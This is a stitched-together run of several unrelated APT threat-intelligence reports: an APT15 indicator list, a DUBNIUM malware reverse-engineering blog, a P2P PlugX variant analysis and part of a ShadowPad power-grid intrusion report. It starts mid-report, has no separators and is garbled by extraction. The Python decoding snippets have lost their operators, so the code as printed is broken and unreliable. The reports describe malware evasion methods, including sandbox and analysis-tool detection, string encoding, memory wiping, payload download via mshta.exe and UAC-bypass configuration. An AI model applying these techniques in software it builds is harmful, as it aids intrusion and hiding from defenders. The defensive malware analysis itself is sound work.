2/3 https://github.com/nccgroup/Royal_APT IOCs Below are a number of hashes relating to the backdoors identified in use by APT15 Royal DNS: bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d BS2005: 750d9eecd533f89b8aa13aeab173a1cf813b021b6824bc30e60f5db6fa7b950b BS2005: 6ea9cc475d41ca07fa206eb84b10cf2bbd2392366890de5ae67241afa2f4269f RoyalCli: 6df9b712ff56009810c4000a0ad47e41b7a6183b69416251e060b5c80cd05785 MS Exchange Tool: 16b868d1bef6be39f69b4e976595e7bd46b6c0595cf6bc482229dbb9e64f1bce NCC Group  Fox-IT have created a number of Suricata IDS rules to detect APT15 activity through the use of these backdoors.
These, along with YARA signatures for the backdoors identified, can be found in the Github repository linked above.
Domains The RoyalCli backdoor was attempting to communicate to the following domains: News.memozilla[.
]org video.memozilla[.
]org The BS2005 backdoor utilised the following domains for C2: Run.linodepower[.
]com Singa.linodepower[.
]com log.autocount[.
]org RoyalDNS backdoor was seen communicating to the domain: andspurs[.
]com Possible linked APT15 domains include: Micakiz.wikaba[.
]org cavanic9[.
]net ridingduck[.
]com zipcodeterm[.
]com dnsapp[.
]info Published date:nbsp 10 March 2018 Written by:nbsp Rob Smallridge 3/3 APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS APT15 expands its arsenal APT15 lives off the land IOCs Domains
June 9, 2016 Reverse-engineering DUBNIUM blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/ DUBNIUM (which shares indicators with what Kaspersky researchers have called DarkHotel) is one of the activity groups that has been very active in recent years, and has many distinctive features.
We located multiple variants of multiple-stage droppers and payloads in the last few months, and although they are not really packed or obfuscated in a conventional way, they use their own methods and tactics of obfuscation and distraction.
In this blog, we will focus on analysis of the first-stage payload of the malware.
As the code is very complicated and twisted in many ways, it is a complex task to reverse-engineer the malware.
The complexity of the malware includes linking with unrelated code statically (so that their logic can hide in a big, benign code dump) and excessive use of an in-house encoding scheme.
Their bootstrap logic is also hidden in plain sight, such that it might be easy to miss.
Every sub-routine from the malicious code has a memory cleaner routine when the logic ends.
The memory snapshot of the process will not disclose many more details than the static binary itself.
The malware is also very sneaky and sensitive to dynamic analysis.
When it detects the existence of analysis toolsets, the executable file bails out from further execution.
Even binary instrumentation tools like PIN or DynamoRio prevent the malware from running.
This effectively defeats many automation systems that rely on at least one of the toolsets they check to avoid.
Avoiding these toolsets during analysis makes the overall investigation even more complex.
With this blog series, we want to discuss some of the simple techniques and tactics weve used to break down the features of DUBNIUM.
We acquired multiple versions of DUBNIUM droppers through our daily operations.
They are evolving slowly, but basically their features have not changed over the last few months.
In this blog, well be using sample SHA1: dc3ab3f6af87405d889b6af2557c835d7b7ed588 in our examples and analysis.
Hiding in plain sight The malware used in a DUBNIUM attack is committed to disguising itself as Secure Shell (SSH) tool.
In this instance, it is attempting to look like a certificate generation tool.
The file descriptions and other properties of the malware look convincingly legitimate at first glance.
When it is run, the program actually dumps out dummy certificate files into the file system and, again, this can be very convincing to an analyst who is initially researching the file.
The binary is indeed statically linked with OpenSSL library, such that it really does look like an SSH tool.
The problem with reverse engineering this sample starts from the fact that it has more than 2,000 functions and most of 1/3 https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/ https://msdnshared.blob.core.windows.net/media/2016/06/115.png https://msdnshared.blob.core.windows.net/media/2016/06/211.png https://msdnshared.blob.core.windows.net/media/2016/06/310.png https://msdnshared.blob.core.windows.net/media/2016/06/47.png https://msdnshared.blob.core.windows.net/media/2016/06/55.png https://msdnshared.blob.core.windows.net/media/2016/06/76.png Figure 1: SSH tool disguise Figure 2 Create dummy certificate files Figure 3: DUBNIUM functions list them are statically linked to OpenSSL code without symbols.
The following is an example of one of these functions  note it even has string references to the source code file name.
It can be extremely time-consuming just going through the dump of functions that have no meaning at all in the code and this is only one of the more simplistic tactics this malware is using.
We can solve this problem using binary similarity calculation.
This technique has been around for years for various purposes, and it can be used to detect code that steals copyrighted code from other software.
The technique can be used to find patched code snippets in the software and to find code that was vulnerable for attack.
In this instance, we can use the same technique to clean up unnecessary code snippets from our advanced persistent threat (APT) analysis and make a reverse engineers life easier.
Many different algorithms exist for binary similarity calculation, but we are going to use one of the simplest approach here.
The algorithm will collect the op-code strings of each instruction in the function first (Figure 5).
It will then concatenate the whole string and will use a hash algorithm to get the hash out of it.
We used the SHA1 hash in this case.
Figure 6 shows the Python-style pseudo-code that calculates the hash for a function.
Sometimes, the immediate constant operand is a valuable piece of information that can be used to distinguish similar but different functions and it also includes the value in the hash string.
It is using our own utility function RetrieveFunctionInstructions which returns a list of op-code and operand values from a designated function.
01 def CalculateFunctionHash(self,func_ea): 02     hash_string 03     for (op, operand) in self.
RetrieveFunctionInstructions(func_ea): 04            hash_stringop 05            if len(drefs)0: 06                  for operand in operands: 07                         if operand.
Typeidaapi.o_imm: 08                                hash _string(x  operand.
Value) 09 10     mhashlib.sha1() 11     m.update(op_string) 12     return m.hexdigest() 2/3 Figure 4: Code snippet that is linked from OpenSSL library Figure 5: Op code in the instructions Figure 7: OpenSSL functions Figure 6: Pseudo-code for CalculateFunctionHash With these hash values calculated for the DUBNIUM binary, we can compare these values with the hash values from the original OpenSSL library.
We identified from the compiler- generated meta-data that the version the sample is linked to is openssl-1.0.1l-i386-win.
After gathering same hash from the OpenSSL library, we could import symbols for the matched functions.
In this way, removed most of the functions from our analysis scope.
(
This blog is continued on the next page) Pages: Page 1, Page 2, Page 3 3/3 https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/2/ https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/3/ Figure 8: Encoded strings Figure 9: Excessive use of encoded strings June 9, 2016 Reverse-engineering DUBNIUM blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/2/ Persistently encoded strings The other issue when reverse-engineering DUBNIUM binaries is that it encodes every single string that is used in the code (Figure 8).
There is no clue on the functionality of purpose of the binary by just looking at the strings table.
We had to decode each of these strings to understand what the binary is intended to do.
This may not be technically difficult, but it does require a lot of time and effort.
Figure 9 shows how these encoded strings are used.
For example, address 0x142C11C has an instruction that loads an encoded string which is decoded as hook_disable_retaddr_check.
The encoded string is passed in ecx register to the decoder function (decode_string).
Note that the symbol names for the functions were made by us during the analysis.
Because the decode_string function is excessively used and encoded gibberish strings are always passed to it, we can be confident that the function is truly a string decoder.
The decode_string function looks like Figure 10.
There are some approaches that can be taken for decoding these files: you could port the code to C or Python and run them through encoded strings, or you could reuse the code snippet itself and pass the encoded string to the decoder function.
We took the second option and reused the existing code for decoding strings, for faster analysis of the sample.
For example, we have an encoded string at address 0x013C992C.
The decode_string function is located at 0x01437036 in our case.
The ecx register will point to the encoded string and edx is the destination buffer address for the decoded string.
We just came up with the right place on the stack with enough buffer, which in this case is esp0x348.
lea edx,[esp0x348]  pointer to stack buffer address mov ecx, 0x013C992C  pointer to encoded string call 0x01437036  call to decode_string As the instructions above will decode the encoded string for us, we can use Windbg to run our code.
First we prepared a virtual machine environment, because we can possibly run malicious routines from the sample.
As there are some possibilities that the decode_string function is dependent on some initialization routines called at startup, 1/3 https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/2/ https://msdnshared.blob.core.windows.net/media/2016/06/84.png https://msdnshared.blob.core.windows.net/media/2016/06/93.png https://msdnshared.blob.core.windows.net/media/2016/06/102.png https://msdnshared.blob.core.windows.net/media/2016/06/116.png https://msdnshared.blob.core.windows.net/media/2016/06/122.png https://msdnshared.blob.core.windows.net/media/2016/06/131.png https://msdnshared.blob.core.windows.net/media/2016/06/141.png https://msdnshared.blob.core.windows.net/media/2016/06/151.png https://msdnshared.blob.core.windows.net/media/2016/06/161.png https://msdnshared.blob.core.windows.net/media/2016/06/171.png Figure 10: decode_string routine Figure 11: Encoded string Figure 12: First breakpoint Figure 13: Breakpoint on 0142bfee hit Figure 14: Use a command to write instructions over the current eip location Figure 15: New disassembly code we put our first breakpoint to the location where the first instance of decode_string is called.
In this way, we can guarantee that our own decode_string call will be surely called with proper setup.
That address we came up with is 0x0142BFEE (Figure 12).
Heres where our breakpoint is hit at this address.
Now we need to write the memory over with our own code.
The memory location where eip is pointing looks like the following.
Basically, we put the breakpoint on the entry of the decode_string and exit of the function.
With the entry of the function, we save the edx register value to a temporary register and use it to dump out the decoded string memory location at the exit point.
Now we have a handy way to decrypt the strings we have.
Just after a few IDAPython scripts that retrieve all possible encoded strings and automatically generates the assembly code that calls decode_string, we can come up with a new IDA listing that shows the decoded string as the comment.
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This blog is continued on the next page) Pages: Page 1, Page 2, Page 3 2/3 https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/ https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/3/ Figure 16: Breakpoints and dump of decoded string Figure 17: Decoded strings 3/3 Figure 18: Calling memory cleaner function Figure 18b: Calling memory cleaner function Figure 19: Extensive list of process names June 9, 2016 Reverse-engineering DUBNIUM blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/3/ Memory cleanup Even after encoding every single string related to malicious code, the DUBNIUM malware goes one more step to hide its internal operations.
When it calls decode_string to decode an encoded string, it will use the local stack variable to save the decoded string.
Whenever the function returns, it calls fill_memory_with_random_bytes function for every local variable it used, so that the stack is cleared from decoded strings.
The memory cleaner function generates random bytes and fills the memory area.
This can be very simple, and but still can be very annoying to malware analysts because, even with memory snapshot, we cant acquire any meaningful strings out of it.
Its not easy to get a clue of what this binary is doing internally by just skimming through a memory snapshot.
Various environment check Once we have decoded the string, further reverse engineering becomes trivial.
It is no more complicated than any other malware we observe on a daily basis.
The DUBNIUM binary checks for the running environment very extensively.
It has a very long list of security products and other software it detects, and it appears that it detects all major antimalware and antivirus vendor process names.
One other very interesting fact is the presence of process names that are associated with software mainly used in China.
For example, QQPCRTP.exe and QQPCTray.exe are from a messaging software by a company based in China.
Also, ZhuDongFangYu.exe, 360tray.exe and 360sd.exe process names are used by security products that originate from China.
From the software it detects, we get the impression that the malware is focusing on a specific geolocation as its target.
Aside from security programs and other programs used daily that can be used to profile its targets, the DUBNIUM malware also checks for various program analysis tools including Pin and DynamoRIO.
It also checks for a virtual machine environment.
If some of these are detected, it quits its execution.
Overall, the malware is very cautious and deterministic in running its main code.
The following figure shows the code that checks for the 1/4 https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/3/ https://msdnshared.blob.core.windows.net/media/2016/06/181.png https://msdnshared.blob.core.windows.net/media/2016/06/18b.png https://msdnshared.blob.core.windows.net/media/2016/06/191.png https://msdnshared.blob.core.windows.net/media/2016/06/20.png https://msdnshared.blob.core.windows.net/media/2016/06/212.png https://msdnshared.blob.core.windows.net/media/2016/06/221.png https://msdnshared.blob.core.windows.net/media/2016/06/231.png https://msdnshared.blob.core.windows.net/media/2016/06/242.png https://msdnshared.blob.core.windows.net/media/2016/06/251.png https://msdnshared.blob.core.windows.net/media/2016/06/261.png Figure 20: Fiddler mutex check Figure 21: 2nd payload download traffic Figure 22: Encoded strings of the client information Figure 23: mshta.exe execution code existence of the Fiddler web debugger, which is very popular among malware analysts.
As we wanted to use Fiddler to get a better understanding on the network activity of the malware, we manually patched the routine so it would not detect the Fiddler mutex.
Second payload download The DUBNIUM samples are distributed in various ways, one instance was using a zero-day exploit that targets Adobe Flash, in December 2015.
We also observed the malware is distributed through spear-phishing campaigns that involve social engineering with LNK files.
After downloading this payload, it would check the running environment and will only proceed with the next stage when it determines the target is a valid one for its purpose.
If software and environment check passes, the first stage payload will try to download the second stage payload from the command and control (CC) server.
It will pass information such as the IP, MAC address, hostname and Windows language ID to the server, and the server will return the encoded second stage payload.
The way the first stage payload downloads the second payload is both interesting and unique.
It doesnt access the Internet directly from the code, but it uses the system- installed mshta.exe binary.
Mshta.exe is often used by malware to run VBscript for malicious purposes, but using it for downloading a general purpose payload is not so common.
This is because mshta.exe doesnt support downloading URL contents directly to an arbitrary location.
DUBNIUM spawns the mshta.exe process with the URL to download and waits for some time, after that it opens the mshta.exe process and goes through open file handles to find a handle for the temporary file that is associated with the downloaded contents.
This is a very inconvenient way to download a payload from the Internet, but it is useful for hiding the originating process for network activities.
Sometimes network security programs check for the process name and their digital signature to check if they have the right to access outside the network.
In that case, this feature will be very handy for the malware.
As you can see from the figures below, it uses process- related documented and undocumented APIs to retrieve file handles from the mshta.exe process, resolves their names and uses filename heuristics to check if it is a response file or not.
2/4 Figure 24: API calls to retrieve handle file name in mshta.exe process Figure 25: Cache filename Figure 26: Using mshta.exe to download additional payload The cache filename will be retrieved and opened to retrieve the payload from the CC server.
Conclusion Overall, the functionality of the DUBNIUM first stage payload is not so advanced in its functionality.
It is a very simple downloader for the second stage payload.
However, the way it operates is very strategic: It hides in plain sight.
It is very careful in initiating the next stage of the attack.
It checks many different security products and user- installed programs that are bound to specific geolocations and cultures.
It encodes every string that can be useful for quick analysis.
It encodes outbound web traffic.
It doesnt use high class encryption  but it does use an excessive amount of in-house string scrambling algorithms.
It checks for many popular virtual environments and automatic analysis systems that are used for malware analysis, including VMware, Virtualbox and Cuckoo Sandbox It checks for popular dynamic analysis tools like PIN tool, DynamoRIO and other emulators.
In conclusion, this is the first stage payload with more of reconnaissance purpose and it will trigger next stage attack only when it decides the environment is safe enough for attack.
Appendix  Indicators of compromise We discovered the following SHA1s in relation to DUBNIUM: 35847c56e3068a98cff85088005ba1a611b6261f 09b022ef88b825041b67da9c9a2588e962817f6d 7f9ecfc95462b5e01e233b64dcedbcf944e97fca cad21e4ae48f2f1ba91faa9f875816f83737bcaf ebccb1e12c88d838db15957366cee93c079b5a8e 3/4 aee8d6f39e4286506cee0c849ede01d6f42110cc b42ca359fe942456de14283fd2e199113c8789e6 0ac65c60ad6f23b2b2f208e5ab8be0372371e4b3 1949a9753df57eec586aeb6b4763f92c0ca6a895 259f0d98e96602223d7694852137d6312af78967 4627cff4cd90dc47df5c4d53480101bdc1d46720 561db51eba971ab4afe0a811361e7a678b8f8129 6e74da35695e7838456f3f719d6eb283d4198735 8ff7f64356f7577623bf424f601c7fa0f720e5fb a3bcaecf62d9bc92e48b703750b78816bc38dbe8 c9cd559ed73a0b066b48090243436103eb52cc45 dc3ab3f6af87405d889b6af2557c835d7b7ed588 df793d097017b90bc9d7da9a85f929422004f6b6 8ff7f64356f7577623bf424f601c7fa0f720e5fb 6ccba071425ba9ed69d5a79bb53ad27541577cb9 -Jeong Wook Oh MMPC Pages: Page 1, Page 2, Page 3 4/4 https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/ https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/2/ Reverse-engineering DUBNIUM Hiding in plain sight
Analysis of a Recent PlugX Variant - P2P PlugX This is Shusei Tomonaga at Analysis Center.
PlugX, a Remote Access Tool (RAT) often seen in many APT cases, has been in the wild for some years.
Various sectors in Japan have been suffering from this type of attack from 2012, and Analysis Center has been working to catch up on the evolution of the PlugX family since then.
In this blog post, I will write about a recent PlugX variant which we first encountered in October 2014.
The variant has interesting new aspects and the most significant one, in my view, is the P2P function - so let me tentatively name it P2P PlugX.
Size Expansion of Configuration Information PlugX is designed to run based on its configuration information stored in itself.
Our analysis revealed that the size of the configuration information has been expanded for the recent variant.
While the former ones have either 0x2540 bytes (Observed since August 2013) or 0x2d58 bytes (Observed since June 2014), the recent one has 0x36a4 bytes, roughly 20 larger in size.
This has led it to do more, such as: -     Communication with more CC servers  up to 16 -     P2P communication between infected nodes -     MAC address check - PlugX runs if the MAC address of an infected     host coincides with configuration information in itself (If not specified in the     configuration, PlugX runs on any host).
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(To bypass UAC) configurable setting for the process to abuse Other than these, new coding algorithm has been introduced.
I will pick up some of the interesting features for more description.
For details of the configuration file, you can refer to Appendix A in the bottom of this post.
Additional Communication Protocol for CC Servers Former versions of PlugX used to set four CC Server addresses to communicate with.
With the P2P PlugX, attackers can set up to 16 CC servers.
Communication protocol with CC servers has also been improved.
Former PlugX could only configure four communication protocols, but for P2P PlugX, protocol number 255 became available.
This protocol is reserved by IANA, but no specific application is assigned.
Table 1: Configurations and Communication Protocol which Table 1: Configurations and Communication Protocol which PlugX uses to connect to CC Servers Configuration No.
Protocol Number (In IP header) Data Format 1 6 (TCP) Binary 2 6 (TCP) HTTP 3 17 (UDP) DNS 4 1 (ICMP) Binary 5 255 Binary P2P Function Enabled P2P PlugX can communicate with other similarly-infected hosts.
When one PlugX succeeds to infect a host, it then accesses to every IP address in the local network one-by-one and communicate with any connectable nodes, using one of the following protocols listed in Table 2.
Table 2: Configurations and Communication Protocols which P2P PlugX uses to communicate by P2P Configuration No.
Protocol Number (In IP header) Data Format 1 6 (TCP) Binary 2 17 (UDP) DNS 3 1 (ICMP) Binary 4 255 Binary With P2P protocol, even if a PlugX exists in an environment with no direct access to the Internet, it may communicate with CC server through other infected hosts.
We have also seen some P2P-disabled samples.
Note that this P2P communication theoretically can be applied to any other TCP/UDP ports.
But in cases which JPCERT/CC ha observed, P2P PlugX only uses either TCP/1357 or UDP/1357 for P2P communication.
If you see any scanning activity to TCP/1357 or UDP/1357, we highly recommend that you conduct further investigation.
New Encoding Algorithm PlugX uses a single encoding algorithm for inbound/outbound data, configuration, key logging data and strings used internally.
Its encoding method has been modified from time to time, aligned with major upgrade of PlugX itself.
Likewise, P2P PlugX has a new encoding algorithm.
Heres a python code to decode.
def plugx_decode(data): decode_key  struct.unpack_from(I, data, 0)[0] out XOR Values might possibly be varied.
key1  decode_key  20140918 key2  decode_key  353 for c in data[4:]: ADD/SUB Values might possibly be varied.
key1  3373 key2 - 39779 dec  int(c)  (((key2  16)  0xff  ((key2  0xff  (((key1  16) 0xff  (key1 - (key1  8)  0xff)) - (key1  24)  0xff)) - (key2  8) 0xff)) - (key2  24)  0xff) out  out  chr(dec) return out Whats Next?
P2P PlugX introduced several new features which surely made attackers to manage their attack infrastructure efficiently.
We are sure that PlugX will keep evolving, and continuous analysis will be necessary for preventing/mitigating possible incident.
We will keep you updated on any new findings.
Thank you very much for reading.
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Shusei Tomonaga (For any inquiry or incident report regarding PlugX, please contact info[at]jpcert.or.jp) Appendix A: Entire Configuration of P2P PlugX Table 3: Entire Configuration of P2P PlugX Offset Length Description 0x0000 20 Not used 0x0014 4 Flag if remove own DLL from list of modules 0x0018 4 Flag enable/disable key logger 0x001c 12 Not used 0x0028 4 Duration of suspend activity 0x002c 4 Duration of suspend activity 0x0030 672 Network Access Flag (for a week with 15min interval) 0x02d0 4  4 DNS Server IP Address x 4 0x02e0 68  16 control Server Information x 16 0x0720 128  16 HTTP Access URL x 16 0x0f20 196  4 Proxy/authentication config x 4 0x1230 4 Method to make it resident (e.g.
Create Service.
Create Run Key) 0x1234 512 Folder to Install 0x1434 512 Service Name 0x1634 512 Service Display Name 0x1834 512 Service Description 0x1a34 4 Registry Root Key Value for Run Registry Key Configuration 0x1a38 512 Run Registry Key Name 0x1c38 512 Run Registry Key Value 0x1e38 4 Enable/Disable Code injection 0x1e3c 512  4 Program Name for Code Injection x 4 0x263c 4 Enable/Disable Code injection for UAC Bypass 0x2640 512  4 Program Name to inject code for UAC Bypass x 4 0x2e40 512 Authentication Character String for PlugX 0x3040 512 Authentication Character String for CC Server 0x3240 512 Mutex Name 0x3440 4 Enable/Disable Screen Capture 0x3444 4  5 Screen Capture Configuration Value 0x3458 528 Folder to Store Screen Captures 0x3658 4 Enable/Disable P2P(TCP) 0x365c 4 P2P(TCP) Port Number 0x3660 4 Enable/Disable P2P(UDP) 0x3664 4 P2P(UDP) Port Number 0x3668 4 Enable/Disable P2P(ICMP) 0x366c 4 P2P(ICMP) Port Number 0x3670 4 Enable/Disable P2P(IP Protocol Number 255) 0x3674 4 P2P(IP Protocol Number 255) Port Number 0x3678 4 Enable/Disable P2P Scanning 0x367c 4  4 P2P Scanning Beginning Address x 4 0x368c 4  4 P2P Scanning End Address x 4 0x369c 6 Run program if this MAC Address is used 0x36a2 2 Not used Appendix B:  SHA-256 hash value of P2P PlugX bc65e2859f243ff45b12cd184bfed7b809f74e67e5bb61bc92ed94058d3d2515 93c85a8dd0becc4e396eea2dc15c0010ff58d2b873d44fd7e45711a27cfe613b 0ff134057a8b2e31b148fedfdd185f5b1a512149499a8c5c0915cf10b10a613e
April 6, 2022 By Insikt Group THREAT ANALYSIS CHINA Continued Targeting of Indian Power Grid Assets by Chinese State-Sponsored Activity Group Recorded Future  www.recordedfuture.com TA-CN-2022-04061 This report details a campaign conducted by a likely Chinese state-sponsored threat activity group targeting the Indian power sector.
The activity was identified through a combination of large-scale automated network traffic analytics and expert analysis.
Data sources include the Recorded Future Platform, SecurityTrails, PolySwarm, Team Cymrus Pure Signal, and common open-source tools and techniques.
The report will be of most interest to individuals engaged in strategic and operational intelligence relating to Indian and Chinese cyber activity.
Recorded Future notified the appropriate Indian government departments prior to publication of the suspected intrusions to support incident response and remediation investigations within affected organizations.
With thanks to our colleagues at Dragos for early sharing and collaboration.
Executive Summary In February 2021, Recorded Futures Insikt Group reported on intrusion activity targeting operational assets within Indias power grid that we attributed to a likely Chinese state-sponsored threat activity group we track as RedEcho.
Following a short lull after the publication of our RedEcho reporting, we have detected ongoing targeting of Indian power grid organizations by China- linked adversaries, frequently using the privately shared modular backdoor ShadowPad.
ShadowPad continues to be employed by an ever-increasing number of Peoples Liberation Army (PLA) and Ministry of State Security (MSS)-linked groups, with its origins linked to known MSS contractors first using the tool in their own operations and later likely acting as a digital quartermaster.
In recent months, we observed likely network intrusions targeting at least 7 Indian State Load Despatch Centres (SLDCs) responsible for carrying out real-time operations for grid control and electricity dispatch within these respective states.
Notably, this targeting has been geographically concentrated, with the identified SLDCs located in North India, in proximity to the disputed India-China border in Ladakh.
One of these SLDCs was also targeted in previous RedEcho activity.
This latest set of intrusions, however, is composed of an almost entirely different set of victim organizations.
In addition to the targeting of power grid assets, we also identified the compromise of a national emergency response system and the Indian subsidiary of a multinational logistics company by the same threat activity group.
To achieve this, the group likely compromised and co- opted internet-facing DVR/IP camera devices for command and control (C2) of Shadowpad malware infections, as well as use of the open source tool FastReverseProxy (FRP).
Despite a partial troop disengagement between India and China from February 2021, the prolonged targeting of Indian critical infrastructure continues to raise concerns over pre- positioning activity being conducted by Chinese adversaries.
While this latest activity displays targeting and capability consistencies with previously identified RedEcho activity, there are also some notable distinctions.
At this time, we have not identified technical evidence allowing us to attribute it to RedEcho, and we are currently clustering this latest activity under the temporary group name Threat Activity Group 38 (TAG- 38)1.
Key Judgments Given the continued targeting of State and Regional Load Despatch Centres in India over the past 18 months, first from RedEcho and now in this latest TAG-38 activity, this targeting is likely a long-term strategic priority for select Chinese state-sponsored threat actors active within India.
The prolonged targeting of Indian power grid assets by Chinese state-linked groups offers limited economic espionage or traditional intelligence-gathering opportunities.
We believe this targeting is instead likely intended to enable information gathering surrounding critical infrastructure systems or is pre-positioning for future activity.
The objective for intrusions may include gaining an increased understanding into these complex systems in order to facilitate capability development for future use or gaining sufficient access across the system in preparation for future contingency operations.
1  Typically, Insikt Group publicly names a new threat activity group or campaign, such as RedFoxtrot, when analysts have data corresponding to at least 3 points on the Diamond Model of Intrusion Analysis with at least medium confidence.
We will occasionally report on significant activity using a temporary activity clustering name such as TAG-38, where the activity is new and significant but doesnt map to existing groupings and hasnt yet graduated or merged into an established activity group.
THREAT ANALYSIS  CHINA http://www.recordedfuture.com https://www.recordedfuture.com/redecho-targeting-indian-power-sector/ https://www.recordedfuture.com/redfoxtrot-china-pla-targets-bordering-asian-countries/ https://www.secureworks.com/research/shadowpad-malware-analysis https://www.sentinelone.com/labs/shadowpad-a-masterpiece-of-privately-sold-malware-in-chinese-espionage/ https://github.com/fatedier/frp www.recordedfuture.com  Recorded Future  TA-CN-2022-0406 2 Figure 1: High-level TAG-38 TTPs and Recorded Future data sourcing graphic (Source: Recorded Future) THREAT ANALYSIS  CHINA http://www.recordedfuture.com Recorded Future  www.recordedfuture.com TA-CN-2022-04063 Our February 2021 RedEcho report highlighted the compromise of 10 distinct Indian power sector organizations, including 4 of the 5 of the countrys Regional Load Despatch Centres (RLDC), 2 ports, a large generation operator, and other operational assets.
These assets offer minimal value as economic espionage or other traditional intelligence targets, which led us to assess a likely goal of pre-positioning network access to support Chinese strategic objectives.
Following that February 2021 report, we observed the group abandon the operational infrastructure highlighted and shift its infrastructure modus operandi.
Despite this, evidence of targeting of Indian power assets and organizations with links to critical infrastructure from Chinese state-sponsored actors continued.
This included the targeting of an Indian managed service provider (MSP) and operational technology (OT) vendor using ShadowPad, which aligns with activity described in recent Dragos reporting.
We attribute this particular activity to a separate activity group we track as Threat Activity Group 26 (TAG-26).
We have observed TAG-26 targeting multiple high-value organizations in India using ShadowPad, Poison Ivy, and the RoyalRoad RTF weaponizer.
The use of ShadowPad across Chinese activity groups continues to grow over time, with new clusters of activity regularly identified using the backdoor as well as continued adoption by previously tracked clusters.
At this time, we track at least 10 distinct activity groups with access to ShadowPad, which is assessed to have likely been originally developed and used by MSS-linked contractors linked to the APT41 (BARIUM) intrusion set.
Background India continues to be a major target of Chinese cyber espionage activity, as detailed in historical Recorded Future reporting on RedDelta, RedEcho, RedFoxtrot, TAG-28, and additional client-facing research.
Although tensions reduced, aided by partial troop disengagement, in February 2021 following prolonged border stand-offs in the Ladakh region, there has been limited progress between the states regarding respective territorial claims.
Figure 2: Timeline of Insikt research on Chinese state-sponsored groups targeting India versus geopolitical events (Source: Recorded Future) THREAT ANALYSIS  CHINA http://www.recordedfuture.com https://www.recordedfuture.com/redecho-targeting-indian-power-sector/ https://hub.dragos.com/hubfs/33320Year20in20Review/2021/202120ICS20OT20Cybersecurity20Year20In20Review20-20Dragos202021.pdf?hsLangen https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf https://assets.sentinelone.com/c/Shadowpad?xP42eqA https://www.reuters.com/article/us-india-china/india-china-complete-troop-pullout-from-lake-area-idUSKBN2AL0E6 www.recordedfuture.com  Recorded Future  TA-CN-2022-0406 4 Threat Analysis Since at least September 2021, we have observed TAG- 38 intrusions targeting the identified victim organizations.
The group has employed probable compromised infrastructure for command and control of ShadowPad implants used to target the identified networks, as well as using the open source tool Fast Reverse Proxy (FRP).
Figure 3 highlights ongoing TAG-38 C2 detection and network traffic analysis exfiltration events from victim networks within the Recorded Future platform between September 2021 and March 2022.
Targeting of Indian Power Sector The identified victimology within this latest campaign is confined to Indian targets, specifically at least 7 SLDCs, the Indian subsidiary of a multinational logistics company, and a national emergency response system.
As shown in Figure 4, the identified SLDCs were all located in Northern India, in proximity to the disputed China-India border in Ladakh.
SLDCs are responsible for carrying out real-time operations for grid control and electricity dispatch within these respective states, similar to the Regional Load Despatch Centres (RLDCs) previously targeted in reported RedEcho activity.
This makes these organizations critical for maintaining grid frequency and stability, with SLDCs maintaining access to supervisory control and data acquisition (SCADA) systems present across respective states for the purpose of grid control and electricity dispatch.
At this time, we have not observed evidence of access to industrial control system (ICS) environments in this activity.
Figure 3: Timeline of TAG-38 C2 infrastructure detection and network traffic analysis (NTA) exfiltration events (Source: Recorded Future) THREAT ANALYSIS  CHINA http://www.recordedfuture.com https://github.com/fatedier/frp https://github.com/fatedier/frp https://www.recordedfuture.com/redecho-targeting-indian-power-sector/ Recorded Future  www.recordedfuture.com TA-CN-2022-04065 Likely compromised devices were observed with the default open ports 80/554/9090 associated with the compromised device, as well as an additional actor-controlled port(s) opened for malware C2 communications.
A large proportion were confirmed as ShadowPad C2 servers using Recorded Future C2 detection methodologies, a technique previously used in historical Insikt Group reporting on RedEcho and other Chinese state-sponsored activity groups (1,2,3).
A large proportion of the identified C2s had the open source tool Fast Reverse Proxy (FRP) server component configured on port 8443.
FRP can read predefined configurations and allows you to expose local services that are hidden behind the NAT or a firewall to the internet.
This tool has been abused by numerous state- sponsored groups, including the Iran-linked group Phosphorus and several Chinese actors (1,2).
A large proportion of the identified C2s shared a unique SSL certificate spoofing Microsoft on port 443 (SHA1 fingerprint: 0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf).
This certificate has multiple links to wider Chinese state- sponsored cyber espionage activity and is discussed in further detail below.
TAG-38 Infrastructure Clustering Using a combination of proactive infrastructure detection techniques and network traffic analysis, we uncovered a cluster of C2 infrastructure engaged in this prolonged targeting of Indian critical infrastructure over several months.
Based on our analysis, the adversary infrastructure cluster identified consists entirely of likely compromised internet-facing, third-party DVR/ IP camera devices.
The compromise of often poorly secured internet-of-things (IOT) devices such as IP cameras for use in follow-on intrusion activity has previously been seen for threats ranging from Mirai-based botnets (1,2) to the Chinese state- sponsored threat activity group RedBravo (APT31/ZIRCONIUM).
At this time, we have not determined the means in which these devices were originally compromised, which may include the use of default credentials.
Using a series of analytical techniques and heuristics, we were able to cluster a network of these C2 IPs together, all of which matched all or most of the following criteria: Victim infrastructure observed communicating to all of the identified C2 servers consisted solely of the same overlapping Indian power grid victims, logistics company, and Indian emergency response system.
All C2 servers were likely compromised DVR/IP camera devices and were primarily geolocated in Taiwan or South Korea.
Figure 4: Map of TAG-38 victim State Load Despatch Centre (SLDC) locations.
